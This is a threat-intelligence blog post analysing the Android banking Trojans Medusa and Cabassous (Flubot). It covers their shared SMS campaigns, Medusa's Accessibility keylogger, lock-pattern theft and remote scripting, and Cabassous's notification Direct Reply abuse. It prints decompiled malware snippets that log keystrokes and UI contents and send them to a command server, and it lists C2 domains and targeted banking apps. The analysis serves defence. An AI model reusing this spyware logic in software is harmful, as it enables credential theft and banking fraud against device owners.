Threat Fabric

Partners-in-crime: Medusa and Cabassous attack banks side-by-side

Partners-in-crime: Medusa and Cabassous attack banks side-by-side

Medusa: a marriage partner as gunslinger

The success of Cabassous’ (aka Flubot) distribution campaigns, that have been “SMiShing” different regions all over the world for almost a year attracted the attention of another threat actor. Just like for Anatsa’s campaigns spotted by ThreatFabric in May 2020, another powerful mobile banking Trojan, Medusa, is now being distributed through the same SMiShing service as Cabassous.

Our Threat Intelligence shows that Medusa followed Cabassous with exactly the same app names, package names and similar icons:

Build dates

ThreatFabric analysts were able to retrieve the number of infected devices for one of the Medusa campaigns. In less then a month, this distribution approach allowed Medusa to reach more then 1500 infected devices in one botnet, masquerading as DHL.

Please note that Medusa has multiple botnets for every campaign, such as DHL or Flash Player, so we expect the numbers to be much higher and very close to what we are observing with Cabassous. At the time of writing, this side-by-side campaign is still ongoing.

After targeting Turkish financial organisations in its first period of activity in 2020, Medusa has now switched its focus to North America and Europe, which results in significant number of infected devices. Powered with multiple remote access features, Medusa poses a critical threat to financial organisations in targeted regions.

At the same time, Cabassous does not seem to have any intention of stopping its evolution. The major update that introduced DNS-tunneling through public DNS-over-HTTPS services has now been followed by a novel capability never seen before in mobile banking malware. In version 5.4 actors are able to abuse the “Notification Direct Reply” feature of Android OS while intercepting notifications, which allows them to manipulate notifications from targeted applications on victim’s device.

This blog covers Medusa banking Trojan new campaigns, gives an overview of Medusa threat actor’s backend infrastructure and describes the new capability of Cabassous and its impact on fraud risk level.

Medusa: Turkish delight with dangerous filling

First discovered by ThreatFabric analysts in July 2020, Medusa has undergone several updates of its capabilities. Although some researchers refer to Medusa as Tanglebot, differentiating them as two separate malware families that share some code similarities, ThreatFabric analysts have been tracking this family from its discovery, and believe that they are indeed the same malware family, which just received several updates and improved in its obfuscation techniques.

Medusa: a deadly gunslinger as wedding partner

The main threat posed by this Trojan lies in its semi-ATS (Automated Transfer System) capability. It is powered with an Accessibility scripting engine that allows actors to perform a set of actions on the victim’s behalf, with the help of Android Accessibility Service. Moreover, Medusa sports other dangerous features like keylogging, Accessibility event logging, and audio and video streaming - all these capabilities provide actors with almost full access to victim’s device.

Medusa capabilities

By abusing Accessibility Services, Medusa is able to execute commands on any app thats is running on victims device. A command like “fillfocus” allows the malware to set the text value of any specific text box to an arbitrary value chosen by the attacker, e.g. the beneficiary of a bank transfer. Medusa semi_ats

Thanks to the visibility ThreatFabric obtained on the Medusa backend panels, we were able to observe panel operator marking banking apps with the “BANK” tag, to control/log the input fields. This means that any banking app in the world is at risk to this attack, even those who do not fall within the current target list. Medusa control_input_field

Keylogger

Medusa authors implemented a simple accessibility-based keylogging, allowing the bot to get access to UI events, such as clicks, text inputs and focus events of all application on the infected device. This feature allows the actors to collect much more than only user input, as it can also track actions performed on the UI and visualize the content shown in the applications. This enables the attackers to gain further insights into victim’s behavior and grants them ability to steal credentials without having to resort to the use of phishing attacks.

The code powering the keylogger (including stealing the lock pattern) is visible in following snippet (simplified for understanding convenience):

    try {
        logTimestamp = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US).format(Calendar.getInstance().getTime());
        CharSequence packageName = accessibilityEvent.getPackageName();
        viewIdResourceName = "";
        logPackageName = packageName == null ? "" : accessibilityEvent.getPackageName().toString();
        worker.stealPattern(v17.getRootInActiveWindow());
    }
    catch(Exception unused_ex) {
    }

    try {
        logText = accessibilityEvent.getText().toString();
        viewIdResourceName = accessibilityEvent.getSource().getViewIdResourceName();
    }
    catch(Exception unused_ex) {
    }

    String logText = logText;
    String viewIdResourceName = viewIdResourceName;
    try {
        int eventType = accessibilityEvent.getEventType();
        if(eventType == 1) {
            logEventType = "click";
        }
        if(eventType == 8) {
            logEventType = "focus";
        }
        if(eventType == 16) {
            logEventType = "text";
        }
        if(eventType == 0x2000) {
            logEventType = "selchange";

        }
        v17.sendKeylog(logPackageName, logTimestamp, logEventType, logText, viewIdResourceName);
        
    }
    catch(Exception unused_ex) {
    }
    ...
    public void stealPattern(AccessibilityNodeInfo arg13) {
        String text;
        if(arg13.getPackageName().equals("com.android.systemui")) {
            for(Object v0: arg13.findAccessibilityNodeInfosByViewId("com.android.systemui:id/lockPatternView")) {
                AccessibilityNodeInfo accessibilityNodeInfo = (AccessibilityNodeInfo)v0;
                JSONArray jsonArray = new JSONArray();
                int index;
                for(index = 0; index < accessibilityNodeInfo.getChildCount(); ++index) {
                    if(!accessibilityNodeInfo.getChild(index).isClickable()) {
                        JSONObject logAccessibilityNodeInfo = new JSONObject();
                        Rect bounds = new Rect();
                        accessibilityNodeInfo.getChild(index).getBoundsInScreen(bounds);
                        try {
                            text = accessibilityNodeInfo.getChild(index).getText().toString();
                        }
                        catch(Exception unused_ex) {
                            text = "";
                        }

                        try {
                            logAccessibilityNodeInfo.put("t", bounds.top);
                            logAccessibilityNodeInfo.put("l", bounds.left);
                            logAccessibilityNodeInfo.put("b", bounds.bottom);
                            logAccessibilityNodeInfo.put("r", bounds.right);
                            logAccessibilityNodeInfo.put("k", text);
                            jsonArray.put(logAccessibilityNodeInfo);
                        }
                        catch(JSONException unused_ex) {
                        }
                    }
                }

                if(jsonArray.length() <= 0) {
                    continue;
                }

                this.sendKeylog(accessibilityNodeInfo.getPackageName().toString(), "", "pattern", jsonArray.toString(), "");
            }
        }
    }

Accessibility scripting

Authors of Medusa also implemented a simple but powerful scripting engine that is able to execute a sequence of commands on the infected device. Combined with the media streaming feature, this provides the attackers with limited but powerful RAT functionalities that allow them to interact with the infected device while monitoring them at the same time.

The list of available actions is shown hereunder:

Commands Description
home_key Performs HOME global action
ges Executes a specified gesture on the screen of the device
fid_click Clicks on the UI element with the specified ID
sleep Sleeps (waits) for the specified number of microseconds
recent_key Shows overview of the recent apps
scrshot_key Performs TAKE_SCREENSHOT global action
notification_key Opens the active notifications
lock_key Locks the screen
back_key Performs BACK global action
text_click Clicks on the UI element that has specified text displayed
fill_text Not implemented

Accessibility events logging

Another rather powerful feature of Medusa banking trojan is event logging. With a special command from C2 Medusa starts to recursively collect the information about the active window starting from the root node. Information of interest is such as but not limited to:

  • node bounds in screen coordinates (position of elements in the UI),
  • text of the node (the text inside an element),
  • whether this node is categorized as password (if the element is a field of type “password”)

Having all the data collected the actor is able to get a better understanding of the interface of different applications and therefore implement relevant scenarios for accessibility scripting feature. Moreover, it allows actor(s) to have deeper insight on the applications the victim uses and their typical usage, while also allowing TA(s) to intercept some private data.

The following snippet shows the code that collects the information of active window going through its nodes:

public static JSONObject getInfoAboutNode(AccessibilityNodeInfo node, int arg7) {
    JSONObject jsonNodeInfo = new JSONObject();
    if(node == null) {
        return jsonNodeInfo;
    }
    try {
        ...
        if(node.getText() != null) {
            jsonNodeInfo.put("t", node.getText());
        }
        if(node.getContentDescription() != null) {
            jsonNodeInfo.put("cd", node.getText());
        }
        if(node.getViewIdResourceName() != null) {
            jsonNodeInfo.put("r", node.getViewIdResourceName());
        }
        ...
        if(node.isPassword()) {
            jsonNodeInfo.put("pass", true);
        }
        ...
        if(node.isVisibleToUser()) {
            jsonNodeInfo.put("vis", true);
        }
        if(node.getChildCount() > 0) {
            JSONArray jsonChildNodeInfo = new JSONArray();
            int childCounter = 0;
            while(childCounter < node.getChildCount()) {
                AccessibilityNodeInfo childNode = node.getChild(childCounter);
                ++childCounter;
                jsonChildNodeInfo.put(WorkerAccessibilityService.getInfoAboutNode(childNode, arg7 + 1));
            }
            jsonNodeInfo.put("chi", jsonChildNodeInfo);
        }
    }
    catch(Exception unused_ex) {
    }
    return jsonNodeInfo;
}

Threat actor & backend infrastructure

We have substantial evidence that indicates that the threat actor behind Medusa are from Turkey. In addition to the fact that the actor has spoken Turkish on underground forums, ThreatFabric analysts have collected IP’s, browser details, and other threat intelligence to corroborate this initial hypothesis.

The panel used by actors to control Medusa is referred to as Ankatras. ThreatFabric analysts were able to retrieve the information about FLUDHL campaign, which in only 24 days was able to infect 1784 devices.

Medusa has multiple botnets. The samples seen in side-by-side campaigns with Cabassous are identified by the actors themselves with the tags FLUVOICE, FLUFLASH and FLUDHL (possibly as a reference to the corresponding Cabassous/Flubot campaigns). All these botnets use two separate C2 backends to manage bots. The first is the fronting C2, to which bots connect to, while the second is the actual bot operator panel, used by operators to manage their different botnets.

The most recent campaigns have more botnet tags as Medusa’s TA seems to have once again switched to another region. The C2s remain the same, while the botnet tags are now “VIDEO”, “CRICKET”, “SIFIRIBNELIK” (translated from Turkish as “ZERO FAKE”), “PURO”. Based on the application names and masquerade used, we believe these campaigns to target mostly users from USA, Canada and Turkey.

Recent campaigns

Once again, it is important to note that Medusa is also a very relevant threat for organizations with mobile banking apps not on the target list, as each victim with this type of malware installed is vulnerable to on-device fraud tactics. In fact, it is able the abuse or misuse any input field of any app running on the victims device.

Cabassous in charge: it will reply for you

In late January 2022 ThreatFabric analysts discovered new version of Cabassous (Flubot) tagged “5.4”. In this version authors introduced a unique feature: Direct Reply to push notifications. Cabassous is the first banking Trojan to utilise Android Nougat Direct Reply feature while intercepting notifications: with this functionality, this malware is able to provide C2 supplied responses to notifications of targeted applications on the victim’s device.

Direct Reply abuse

Every minute the malware sends the statistics to the C2 about the notifications received. As a response it might receive a template string that will be used to re-create an object of intercepted notification with updated parameters, thus allowing Cabassous authors to arbitrarly change notification content. The code snippet below shows the implementation of it in latest Cabassous samples:

public void onNotificationPosted(StatusBarNotification sbn) {
    super.onNotificationPosted(sbn);
    ...
    String title = sbn.getNotification().extras.getString("android.title");
    String text = sbn.getNotification().extras.getString("android.text");
    String packageName = sbn.getPackageName();
    Long timeout = (Long)p91564b42.notificationsTimeLogger.get(packageName);
    ...
    if(v2 != null && (p91564b42.notifResponse != null && !p91564b42.notifResponse.isEmpty())) {
        try {
            if(((long)timeout) == 0L) {
                p91564b42.notificationsTimeLogger.put(packageName, Long.valueOf(System.currentTimeMillis()));
                Integer sent2package = (Integer)p91564b42.notificationsCounter.get(packageName);
                if(sent2package == null) {
                    sent2package = (int)0;
                }

                p91564b42.notificationsCounter.put(packageName, Integer.valueOf(((int)sent2package) + 1));
                String appName = pd8474166.getAppName(this, packageName);
                String v8 = p91564b42.notifResponse.replaceAll("%APP%", appName);
                p91564b42.notifResponse = v8;
                String v8_1 = v8.replaceAll("%TITLE%", title);
                p91564b42.notifResponse = v8_1;
                p91564b42.notifResponse = v8_1.replaceAll("%TEXT%", text);
                v2.f(this.getApplicationContext(), p91564b42.notifResponse);
            }
            else if(System.currentTimeMillis() - ((long)timeout) > 2000L) {
                p91564b42.notificationsTimeLogger.put(packageName, Long.valueOf(0L));
            }
        }
        catch(PendingIntent.CanceledException v1) {
        }
    }
    if(p7e1b9eb1.isInterceptingNotif()) {
        p53cba4f5.sendToC2("LOG,NOTIF," + title + ": " + text, Boolean.valueOf(true));
        this.cancelNotification(sbn.getKey());
    }
}

We believe that this previously unseen capability can be used by actors to sign fraudulent transactions on victim’s behalf, thus making notifications non-reliable authentication/authorization factor on an infected device. Another potential abuse of this functionality could be to respond to social applications notifications with malicious phishing links. Considering the popularity of these type of apps and the strong focus of Cabassous’ TA on distribution tactics, this could easily be the main MO behind this new Notification Direct Reply Abuse.

Conclusion

More and more actors follow Cabassous’ success in distribution tactics, appropriating masquerading techniques and using the same distribution service. Despite the fact that Medusa is not extremely widespread at the moment, we do see an increase in volume of campaigns and a sufficiently greater number of different campaigns.

At the same time, Cabassous keeps evolving, introducing new features and making another step towards being able to perform on-device fraud. This innovative feature (for banking malware) provides Cabassous’ actors with improved control over intercepted notifications.

The evolution of malware families show that 2FA techniques might be not sufficient to ensure origin of transaction. It requires deeper TI in combination with a solution that is able to detect malicious behaviour on customers devices.

How we help our customers

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Together with our customers and partners, we are building an easy-to-access information system to tackle the ever growing threat of mobile malware targeting the financial sector. We especially like to thank the Cyber Defence Alliance (CDA) and FS-ISAC for collaborating and proactively sharing knowledge and information across the financial sector to fight cyber-threats.

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Appendix: IOC

Medusa Samples

App name Package name SHA-256
Video Player com.xwlbouply.dbhxzcsgw fe3d38316dc38a4ec63eac80e34cb157c9d896460f9b7b3bfbd2cec4e2cb8cdc
DHL com.iqiyi.i18n d83a06d5a41dd56b6cd3e9c3afef850ab07f176ae8f005759edb242daf7b9f38
Voicemail com.qq.reader e2db34355df77e3c95e291a1374e4ba6a75d0da471ab9f929b9ef3424f824421
Flash Player com.thestore.main 75f1bebe19feba3914a7bbf95a8ce742cb709658c2105cf2ebe8cf7ef0c43f23
Amazon Locker com.autonavi.minimap b259fa47fc27728675a2629b98fbe4bb73c0b2216797a154f58c85f7578b3f4d

Medusa C2

C2
essesessssssss.top
sock.essesessssssss.top:20027
nmnmnmfsamsfan.xyz
sock.nmnmnmfsamsfan.xyz:20027
unknknknnkknkknnk.xyz
sock.unknknknnkknkknnk.xyz:20027
pembesir.xyz
sock.pembesir.xyz:20027
asfsafsakjfkjsa.xyz
sock.asfsafsakjfkjsa.xyz:20027

Cabassous (Flubot) Samples

App name Package name SHA-256
DHL com.tencent.mobileqq df98a8b9f15f4c70505d7c8e0c74b12ea708c084fbbffd5c38424481ae37976f
Flash Player com.tencent.mobileqq 2213a4d0a8d3752ce6edde18c2562478dc73c2c618842ca7b158282a0e525972
Amazon Locker com.autonavi.minimap b2dafc4faea81f4addf1ac3a295627e9f7e1d36efa2a8b82a813d853cfcf87c4
Voicemail com.qiyi.video a685fbeedd05341f0da64b774142c48ba68193a2a68fa42b3341038c26057e7c

Cabassous C2

Domain
fpuacswjcgpcxoe[.]ru
ueihtnoujbedjiu[.]ru
umxkexskgtctvws[.]cn

Appendix: Targeted apps

Medusa.B Targets for Flu botnet tags

Flu Botnet Tags

Please note that target differ per botnet, Flu botnet tag focus is US, ES, TR Medusa has its own tags for Canada, which contain Canadian banks as target.

Package Name App Name
com.tecnocom.cajalaboral Banca Móvil Laboral Kutxa
com.woodforest Woodforest Mobile Banking
com.teb CEPTETEB
com.suntrust.mobilebanking SunTrust Mobile App
es.univia.unicajamovil UnicajaMovil
es.cm.android Bankia
com.ally.MobileBanking Ally Mobile
com.tmobtech.halkbank Halkbank Mobil
com.imaginbank.app imaginBank - Your mobile bank
finansbank.enpara Enpara.com Cep Şubesi
com.finansbank.mobile.cepsube QNB Finansbank Mobile Banking
com.tdbank TD Bank (US)
es.evobanco.bancamovil EVO Banco móvil
es.liberbank.cajasturapp Banca Digital Liberbank
com.schwab.mobile Schwab Mobile
www.ingdirect.nativeframe ING España. Banca Móvil
com.pozitron.iscep İşCep - Mobile Banking
com.ziraat.ziraatmobil Ziraat Mobile
com.citi.citimobile Citi Mobile®
es.openbank.mobile Openbank – banca móvil
bu.bir.test.uygulamasi TA testing app
com.citizensbank.androidapp Citizens Bank Mobile Banking
com.kuveytturk.mobil Kuveyt Türk
com.clairmail.fth Fifth Third Mobile Banking
com.rsi ruralvía
es.ibercaja.ibercajaapp Ibercaja
com.bankinter.empresas Bankinter Empresas
com.botw.mobilebanking Bank of the West Mobile
com.denizbank.mobildeniz MobilDeniz
com.magiclick.odeabank Odeabank
org.ncsecu.mobile SECU
com.infonow.bofa Bank of America Mobile Banking
com.mcom.firstcitizens First Citizens Mobile Banking
com.bmoharris.digital BMO Digital Banking
com.zellepay.zelle Zelle
com.vakifbank.mobile VakıfBank Mobil Bankacılık
com.compasssavingsbank.mobile Compass Savings Bank
com.ykb.android Yapı Kredi Mobile
com.morganstanley.clientmobile.prod Morgan Stanley Wealth Mgmt
com.wf.wellsfargomobile Wells Fargo Mobile
com.mfoundry.mb.android.mb_136 People’s United Bank Mobile
tr.com.hsbc.hsbcturkey.uk HSBC Turkiye
com.grupocajamar.wefferent Grupo Cajamar
es.bancosantander.apps Santander
com.key.android KeyBank Mobile
com.navyfederal.android Navy Federal Credit Union
com.mtb.mbanking.sc.retail.prod M&T Mobile Banking
com.etrade.mobilepro.activity E*TRADE: Invest. Trade. Save.
com.akbank.android.apps.akbank_direkt Akbank
com.usaa.mobile.android.usaa USAA Mobile
com.pnc.ecommerce.mobile PNC Mobile
com.garanti.cepsubesi Garanti BBVA Mobile
com.americanexpress.android.acctsvcs.us Amex
com.ziraatkatilim.mobilebanking Katılım Mobil
com.bankinter.launcher Bankinter Móvil
com.discoverfinancial.mobile Discover Mobile
com.konylabs.capitalone Capital One® Mobile
com.bbva.bbvacontigo BBVA Spain
com.kutxabank.android Kutxabank
es.lacaixa.mobile.android.newwapicon CaixaBank

Cabassous.D Targets

Package Name App Name
au.com.cua.mb CUA Mobile Banking
au.com.bankwest.mobile Bankwest
co.zip Zip - Shop Now, Pay Later
org.bom.bank Bank of Melbourne Mobile Banking
uk.co.tescomobile.android Tesco Mobile
com.bankofqueensland.boq BOQ Mobile
uk.co.tsb.newmobilebank TSB Mobile Banking
com.coinbase.android Coinbase – Buy & Sell Bitcoin. Crypto Wallet
org.stgeorge.bank St.George Mobile Banking
uk.co.mbna.cardservices.android MBNA - Card Services App
uk.co.santander.santanderUK Santander Mobile Banking
com.adcb.bank ADCB
com.grppl.android.shell.BOS Bank of Scotland Mobile Banking: secure on the go
uk.co.hsbc.hsbcukmobilebanking HSBC UK Mobile Banking
au.com.suncorp.SuncorpBank Suncorp Bank
au.com.macquarie.banking Macquarie Mobile Banking
com.binance.dev Binance - Buy & Sell Bitcoin Securely
com.barclays.android.barclaysmobilebanking Barclays
com.cbd.mobile CBD
com.fusion.banking Bank Australia app
com.grppl.android.shell.CMBlloydsTSB73 Lloyds Bank Mobile Banking: by your side
com.vipera.ts.starter.MashreqAE Mashreq UAE
org.banksa.bank BankSA Mobile Banking
org.banking.bom.businessconnect Bank of Melbourne Business App
au.com.newcastlepermanent NPBS Mobile Banking
com.fusion.beyondbank Beyond Bank Australia
au.com.nab.mobile NAB Mobile Banking
com.rbs.mobile.android.natwest NatWest Mobile Banking
com.commbank.netbank CommBank
com.anz.android.gomoney ANZ Australia
org.banking.stg.businessconnect St.George Business App
com.virginmoney.cards Virgin Money Credit Card
au.com.amp.myportfolio.android My AMP
au.com.mebank.banking ME Bank
enbd.mobilebanking Emirates NBD
com.cooperativebank.bank The Co-operative Bank
org.westpac.bank Westpac Mobile Banking
com.rbs.mobile.android.rbs Royal Bank of Scotland Mobile Banking
nz.co.kiwibank.mobile Kiwibank Mobile Banking
tsb.mobilebanking TSB Bank Mobile Banking
co.uk.Nationwide.Mobile Nationwide Banking App
au.com.rams.RAMS myRAMS
org.westpac.col Westpac Corporate Mobile
com.grppl.android.shell.halifax Halifax: the banking app that gives you extra
nz.co.asb.asbmobile ASB Mobile Banking
au.com.commbank.commbiz.prod CommBiz
com.bendigobank.mobile Bendigo Bank
org.banking.bsa.businessconnect BankSA Business App
com.nearform.ptsb permanent tsb
com.greater.Greater Greater Bank
nz.co.anz.android.mobilebanking ANZ goMoney New Zealand
uk.co.metrobankonline.mobile.android.production Metro Bank
au.com.ubank.internetbanking UBank Mobile Banking
com.anz.transactive.global ANZ Transactive - Global
au.com.hsbc.hsbcaustralia HSBC Australia
nz.co.westpac Westpac One (NZ) Mobile Banking

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